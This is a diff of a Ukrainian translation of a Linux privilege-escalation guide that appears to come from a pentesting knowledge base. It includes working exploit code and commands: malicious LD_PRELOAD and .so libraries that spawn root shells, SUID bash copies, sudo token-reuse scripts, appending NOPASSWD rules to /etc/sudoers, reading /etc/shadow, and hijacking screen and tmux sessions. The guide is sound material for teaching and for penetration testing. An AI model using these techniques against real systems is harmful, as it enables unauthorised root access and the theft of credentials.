d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди цікаво enumerate мережу й визначити розташування машини. +Завжди цікаво досліджувати мережу й визначати розташування машини. -### Загальна enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -617,24 +618,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Відкриті порти -Завжди перевіряйте network services, які працюють на машині і з якими ви не могли взаємодіяти до отримання доступу: +Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете sniff traffic. Якщо так, ви можете здобути деякі credentials. +Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі credentials. ``` timeout 1 tcpdump ``` ## Користувачі -### Загальна енумерація +### Загальна перевірка -Перевірте, хто ви, які у вас **привілеї**, які **користувачі** є в системі, хто може **увійти** і хто має **root-привілеї**: +Перевірте, **who** ви, які **privileges** у вас є, які **users** є в системі, хто може **login** і хто має **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -656,23 +657,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Великий UID -Деякі версії Linux були вражені багом, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Експлуатуйте** за допомогою: **`systemd-run -t /bin/bash`** +Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Експлуатувати** за допомогою: **`systemd-run -t /bin/bash`** -### Groups +### Групи -Перевірте, чи є ви **членом якоїсь групи**, яка може надати вам права root: +Перевірте, чи ви є **членом якоїсь групи**, яка може надати вам права root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Буфер обміну -Перевірте, чи є всередині буфера обміну щось цікаве (якщо можливо) +Перевірте, чи містить буфер обміну щось цікаве (якщо можливо) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -689,22 +690,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Відомі паролі -Якщо ви **знаєте будь-який пароль** серед середовища, **спробуйте увійти під кожним користувачем**, використовуючи цей пароль. +Якщо ви **знаєте будь-який пароль** середовища — **спробуйте увійти як кожен користувач**, використовуючи цей пароль. ### Su Brute -Якщо вас не лякає велика кількість шуму і бінарники `su` та `timeout` присутні на машині, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Якщо вас не бентежить велика кількість шуму і двійкові файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається brute-force користувачів. -## Зловживання записуваним $PATH +## Зловживання доступним для запису $PATH ### $PATH -Якщо ви виявите, що можете **записувати всередину якоїсь теки з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваній теці** з ім’ям якоїсь команди, яка виконуватиметься іншим користувачем (ideally root), і яка **не завантажується з теки, що розташована перед** вашою записуваною текою в $PATH. +Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor всередині записуваної папки** з іменем якоїсь команди, яка буде виконуватися іншим користувачем (ідеально — root) і яка **не завантажується з папки, що знаходиться перед вашою записуваною папкою в $PATH**. ### SUDO and SUID -Вам може бути дозволено виконувати певні команди з використанням sudo, або ці бінарники можуть мати suid bit. Перевірте це за допомогою: +Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid біт. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -720,31 +721,31 @@ less>! ``` ### NOPASSWD -Конфігурація sudo може дозволяти користувачу виконувати певну команду з привілеями іншого користувача без знання пароля. +Sudo конфігурація може дозволити користувачеві виконати певну команду з привілеями іншого користувача, не знаючи пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -У цьому прикладі користувач `demo` може запускати `vim` як `root`; отримати shell тепер тривіально — додавши ssh-ключ у каталог `root` або викликавши `sh`. +У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачу **set an environment variable** під час виконання чогось: +Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання команди: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта від імені root: +Цей приклад, **на основі HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта від імені root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Обхід шляхів виконання sudo +### Обхід шляхів виконання Sudo -**Jump** — щоб прочитати інші файли або використовувати **symlinks**. Наприклад, в sudoers файлі: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Перейдіть**, щоб прочитати інші файли або використайте **symlinks**. Наприклад у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -761,23 +762,23 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo команда/SUID бінарний файл без вказаного шляху до команди +### Sudo command/SUID binary без шляху до команди -Якщо надано **sudo дозвіл** для однієї команди **без вказування шляху**: _hacker10 ALL= (root) less_ ви можете exploit це, змінивши змінну PATH variable +Якщо **sudo permission** надається для однієї команди **без вказання шляху**: _hacker10 ALL= (root) less_ — ви можете експлуатувати це, змінивши змінну PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінарник **виконує іншу команду без вказання шляху до неї (завжди перевіряйте вміст підозрілого SUID бінарника за допомогою** _**strings**_**)**). +Цю техніку також можна використовувати, якщо бінарний файл **suid** **виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. -[Приклади payload для виконання.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### SUID binary з вказаним шляхом до команди +### SUID бінарний файл з вказаним шляхом команди -Якщо **suid** бінарник **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **export a function** з ім'ям тієї команди, яку викликає suid файл. +Якщо бінарний файл **suid** **виконує іншу команду з вказаним шляхом**, тоді ви можете спробувати **export a function** з іменем тієї команди, яку викликає suid файл. -Наприклад, якщо suid бінарник викликає _**/usr/sbin/service apache2 start**_ потрібно спробувати створити функцію та експортувати її: +Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_ ви маєте спробувати створити функцію і експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -786,18 +787,18 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна середовища **LD_PRELOAD** використовується для вказання однієї або кількох спільних бібліотек (.so файлів), які завантажувач має завантажити перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. +Змінна оточення **LD_PRELOAD** використовується для вказування однієї або кількох спільних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C бібліотекою (`libc.so`). Цей процес називається попереднім завантаженням бібліотеки. -Однак, щоб зберегти безпеку системи й запобігти використанню цієї можливості для атак, особливо у випадку виконуваних файлів **suid/sgid**, система застосовує певні обмеження: +Однак, щоб підтримувати безпеку системи і запобігти використанню цієї можливості, особливо щодо виконуваних файлів **suid/sgid**, система накладає певні обмеження: -- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). -- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки зі стандартних шляхів, які також мають suid/sgid. +- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). +- Для виконуваних файлів з **suid/sgid** попередньо завантажуються лише бібліотеки у стандартних шляхах, які також мають **suid/sgid**. -Ескалація привілеїв може відбутися, якщо у вас є можливість виконувати команди з `sudo`, і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатись і враховуватись навіть під час виконання команд з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній оточення **LD_PRELOAD** зберігатися та розпізнаватися навіть коли команди виконуються через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` -Збережіть як **/tmp/pe.c** +Зберегти як **/tmp/pe.c** ```c #include #include @@ -810,17 +811,17 @@ setuid(0); system("/bin/bash"); } ``` -Потім **скомпілюйте це** використовуючи: +Потім **скомпілюйте його** за допомогою: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **escalate privileges** запустивши +Нарешті, **escalate privileges** виконавши ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Аналогічний privesc може бути використаний, якщо атакуючий контролює змінну оточення **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки. +> Подібний privesc може бути використаний, якщо attacker контролює **LD_LIBRARY_PATH** env variable, оскільки він контролює шлях, де будуть шукатися бібліотеки. ```c #include #include @@ -842,13 +843,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Коли ви натрапляєте на binary з правами **SUID**, який виглядає підозріло, варто перевірити, чи він правильно завантажує файли **.so**. Це можна зробити, виконавши таку команду: +Коли натрапляєте на бінарник з правами **SUID**, що виглядає підозріло, корисно перевірити, чи він правильно завантажує файли **.so**. Це можна перевірити, виконавши наступну команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, виявлення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. +Наприклад, поява помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. -Щоб експлуатувати це, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який містить наступний код: +Щоб експлуатувати це, потрібно створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який містить наступний код: ```c #include #include @@ -859,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляцій з дозволами файлів та запуску shell із підвищеними привілеями. +Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом зміни прав доступу до файлів і виконання shell із підвищеними привілеями. -Скомпілюйте наведений C-файл у shared object (.so) файл за допомогою: +Скомпілюйте наведений вище C file у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи. +Нарешті, запуск ураженого SUID бінарного файлу повинен спровокувати exploit, що може призвести до компрометації системи. ## Shared Object Hijacking ```bash @@ -877,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID binary, який завантажує library з папки, у яку ми можемо записувати, давайте створимо library в цій папці з необхідною назвою: +Тепер, коли знайдено SUID binary, що завантажує library з папки, у яку ми маємо права запису, давайте створимо library у цій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -890,17 +891,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримаєте помилку, таку як +Якщо ви отримуєте помилку, наприклад ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -це означає, що згенерована вами бібліотека повинна мати функцію під назвою `a_function_name`. +це означає, що згенерована вами бібліотека повинна містити функцію з назвою `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) — курована добірка Unix бінарних файлів, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише інжектувати аргументи** в команду. +[**GTFOBins**](https://gtfobins.github.io) — це курований список Unix-байнів, які можуть бути використані нападником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише інжектувати аргументи** в команду. -Проект збирає легітимні функції Unix бінарників, які можна зловживати, щоб вийти з обмежених shell, підвищити або зберегти привілеї, передавати файли, створювати bind та reverse shells і полегшувати інші post-exploitation завдання. +Проєкт збирає легітимні функції Unix-байнів, які можна зловживати для виходу з обмежених shells, підвищення або підтримки привілеїв, передачі файлів, створення bind та reverse shells і полегшення інших post-exploitation завдань. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -919,55 +920,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатації будь-якого правила sudo. +Якщо ви маєте доступ до `sudo -l`, ви можете використовувати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи він знаходить спосіб експлуатації будь-якого правила sudo. -### Повторне використання sudo токенів +### Reusing Sudo Tokens -У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, **чекаючи виконання команди sudo та перехопивши сесіонний токен**. +У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підняти привілеї, **чекаючи виконання команди sudo і перехопивши session token**. Вимоги для підвищення привілеїв: - Ви вже маєте shell як користувач "_sampleuser_" -- "_sampleuser_" повинен був **використати `sudo`** для виконання чогось **в останні 15 хвилин** (за замовчуванням це тривалість sudo токена, який дозволяє нам використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 +- "_sampleuser_" використовував **`sudo`** для виконання чогось в **останні 15 хвилин** (за замовчуванням це тривалість sudo token, яка дозволяє використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` дорівнює 0 - `gdb` доступний (ви можете завантажити його) -(Ви можете тимчасово увімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf` і встановити `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово ввімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінивши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) Якщо всі ці вимоги виконані, **ви можете підвищити привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Перший **експлойт** (`exploit.sh`) створить бінарник `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo токен у вашій сесії** (ви не отримаєте автоматично root shell — виконайте `sudo su`): +- Перший **exploit** (`exploit.sh`) створить бінар `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo token у вашій сесії** (ви не отримаєте автоматично root shell, виконайте `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_, **власником якого буде root і який матиме setuid** +- Другий **експлойт** (`exploit_v2.sh`) створить sh shell у _/tmp_ **що належить root та має setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **третій exploit** (`exploit_v3.sh`) **створить файл sudoers**, що робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo** +- **третій exploit** (`exploit_v3.sh`) створить **sudoers file**, який робить **sudo tokens** вічними і дозволяє всім користувачам використовувати **sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **права на запис** у теці або для будь-якого файлу, створеного в ній, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), щоб **створити sudo token для користувача та PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є shell під цим користувачем з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, виконавши: +Якщо у вас є **права на запис** у папці або на будь-який зі створених у ній файлів, ви можете скористатися бінарним файлом [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo token для user та PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є shell під тим user з PID 1234, ви можете **отримати sudo привілеї** без необхідності знати пароль, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root та групою root**.\ -**Якщо** ви можете **читати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записувати** будь-який файл, ви зможете **escalate privileges**. +**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл — ви зможете **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Якщо у вас є права на запис, ви можете ними зловживати. +Якщо ви можете записувати, ви можете зловживати цим дозволом ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -981,17 +982,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію у `/etc/doas.conf` +Існують альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Далі — **змінити $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконувався ваш виконуваний файл sudo. +Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий sudo executable**, який виконає ваш код від імені root, а потім команду користувача. Потім **змініть $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб при виконанні sudo користувачем запускався ваш sudo executable. -Зауважте, що якщо користувач використовує інший shell (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Зверніть увагу, що якщо користувач використовує інший shell (не bash), вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Або виконати щось на кшталт: +Або запустивши щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Копіювання lib у `/var/tmp/flag15/` призведе до того, що програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. +Скопіювавши lib у `/var/tmp/flag15/`, програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1057,42 +1058,42 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають **підмножину доступних root-привілеїв процесу**. Це фактично розбиває root **привілеї на менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ -Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities і як ними зловживати**: +Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розбиває привілеї root на **менші та відокремлені одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ +Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities та як ними зловживати**: {{#ref}} linux-capabilities.md {{#endref}} -## Права директорій +## Права доступу до директорії -У директорії біт **"execute"** означає, що відповідний користувач може "**cd**" у папку.\ -Біт **"read"** означає, що користувач може **переглядати** **файли**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. +У директорії **біт для "execute"** означає, що відповідний користувач може "**cd**" у папку.\ +Біт **"read"** означає, що користувач може **list** **files**, а біт **"write"** означає, що користувач може **delete** та **create** нові **files**. ## ACLs -Access Control Lists (ACLs) представляють собою другий рівень дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx права**. Ці дозволи підвищують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або членами групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Детальніше можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) представляють другий рівень дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи підвищують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не входять до групи. Такий рівень **деталізації забезпечує більш точне управління доступом**. Подальші деталі можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надати** користувачу "kali" права read і write на файл: +**Надайте** користувачу "kali" права читання та запису над файлом: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Отримати** файли з певними ACL у системі: +**Отримати** файли з певними ACLs із системи: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Відкриті shell сесії У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ -У **новіших версіях** ви зможете **connect** до screen sessions лише **вашого власного користувача**. Однак, ви можете знайти **цікаву інформацію всередині сесії**. +У **новіших версіях** ви зможете **підключатися** до screen sessions тільки свого власного користувача. Однак ви можете знайти **цікаву інформацію всередині сесії**. ### screen sessions hijacking -**Перелік screen sessions** +**Переглянути screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1107,9 +1108,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Це була проблема у **old tmux versions**. Я не зміг захопити tmux (v2.1) session, створену root, будучи non-privileged user. +Це була проблема зі **старими версіями tmux**. Мені не вдалося перехопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. -**Перелік tmux sessions** +**Список сесій tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1127,53 +1128,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Перевірте **Valentine box from HTB** як приклад. +Перегляньте **Valentine box from HTB** як приклад. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) у період з вересня 2006 по 13 травня 2008 року, можуть бути уражені цією помилкою.\ -Ця помилка виникає при створенні нового ssh ключа в цих ОС, оскільки було можливе **лише 32,768 варіацій**. Це означає, що всі варіанти можна обчислити і, маючи публічний ssh-ключ, ви можете знайти відповідний приватний ключ. Ви можете знайти обчислені варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 і 13 травня 2008 року, можуть бути уражені цією помилкою.\ +Ця помилка виникає під час створення нового ssh key в цих ОС, оскільки **існувало лише 32,768 варіацій**. Це означає, що всі можливості можна перерахувати, і **маючи ssh public key, ви можете знайти відповідний private key**. Ви можете знайти обчислені варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Вказує, чи дозволена автентифікація за паролем. Значення за замовчуванням — `no`. -- **PubkeyAuthentication:** Вказує, чи дозволена автентифікація за публічним ключем. Значення за замовчуванням — `yes`. -- **PermitEmptyPasswords**: Якщо дозволена автентифікація за паролем, визначає, чи дозволяє сервер входи для облікових записів з порожнім паролем. Значення за замовчуванням — `no`. +- **PasswordAuthentication:** Визначає, чи дозволена автентифікація паролем. За замовчуванням — `no`. +- **PubkeyAuthentication:** Визначає, чи дозволена автентифікація за допомогою публічного ключа. За замовчуванням — `yes`. +- **PermitEmptyPasswords**: Якщо автентифікація паролем дозволена, вказує, чи дозволяє сервер вхід у акаунти з порожніми рядками паролів. За замовчуванням — `no`. ### PermitRootLogin -Визначає, чи може root входити через ssh; значення за замовчуванням — `no`. Можливі значення: +Визначає, чи може root увійти через ssh; за замовчуванням — `no`. Можливі значення: -- `yes`: root може входити за паролем та приватним ключем -- `without-password` or `prohibit-password`: root може входити лише за приватним ключем -- `forced-commands-only`: root може входити лише за приватним ключем і тільки якщо вказані опції команд -- `no` : заборонено +- `yes`: root може увійти, використовуючи пароль та private key +- `without-password` or `prohibit-password`: root може увійти лише з private key +- `forced-commands-only`: root може увійти лише за допомогою private key і якщо вказані опції команд +- `no` : не дозволено ### AuthorizedKeysFile -Визначає файли, які містять публічні ключі, що можуть використовуватися для автентифікації користувача. Може містити токени на кшталт `%h`, які будуть замінені на домашній каталог. **Можна вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: +Визначає файли, що містять публічні ключі, які можна використовувати для автентифікації користувачів. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (починаються з `/`) або **шляхи відносно домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ця конфігурація вкаже, що якщо ви намагатиметесь увійти за допомогою **private** key користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що розташовані в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` +Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **приватного** ключа користувача "**testusername**", ssh порівняє публічний ключ вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) на сервері. Таким чином ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding дозволяє вам використовувати ваші локальні SSH keys замість того, щоб залишати ключі (без парольних фраз!) на сервері. Таким чином ви зможете підключитися через ssh до одного хоста і звідти — до іншого, використовуючи ключ, що розташований на вашому початковому хості. -Вам потрібно встановити цю опцію в `$HOME/.ssh.config` таким чином: +Потрібно встановити цю опцію в `$HOME/.ssh.config` ось так: ``` Host example.com ForwardAgent yes ``` -Зверніть увагу, що якщо `Host` має значення `*`, щоразу коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки). +Зауважте, що якщо `Host` — `*`, кожного разу, коли користувач підключається до 